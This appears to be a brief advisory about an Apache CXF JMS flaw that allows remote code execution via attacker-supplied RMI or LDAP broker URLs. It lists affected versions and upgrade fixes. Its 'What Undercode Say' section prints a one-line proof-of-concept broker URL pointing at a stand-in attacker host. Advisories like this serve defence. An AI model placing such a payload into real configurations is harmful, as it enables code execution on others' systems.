Listen to this Post
Apache CXF’s JMS configuration interface allowed untrusted users to specify RMI or LDAP URLs, enabling remote code execution (RCE) via deserialization attacks. When a malicious JMS configuration is processed, CXF attempts to establish connections to attacker-controlled RMI/LDAP servers, leading to the loading of arbitrary Java classes. This vulnerability stems from insufficient validation of JMS broker URLs, allowing dangerous protocols (e.g., rmi://, ldap://) to bypass security checks. Fixed versions enforce protocol restrictions, permitting only trusted JMS brokers (e.g., tcp://, amqp://).
DailyCVE Form:
Platform: Apache CXF
Version: <3.6.8, 4.0.0-4.0.8, 4.1.0-4.1.2
Vulnerability: JMS RCE
Severity: Moderate
Date: Aug 8, 2025
Prediction: Patch expected by Aug 15, 2025
What Undercode Say:
Check CXF version: java -cp cxf-core.jar org.apache.cxf.common.util.Version Exploit PoC (malicious JMS config): <jms:brokerURL>rmi://attacker.com/exploit</jms:brokerURL>
How Exploit:
- Attacker crafts malicious JMS config with RMI/LDAP URL.
- CXF deserializes payload upon connection, executing arbitrary code.
Protection from this CVE:
- Upgrade to CXF 3.6.8, 4.0.9, or 4.1.3.
- Restrict JMS config access to trusted users.
Impact:
- Remote code execution under attacker’s control.
- Compromise of CXF service integrity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
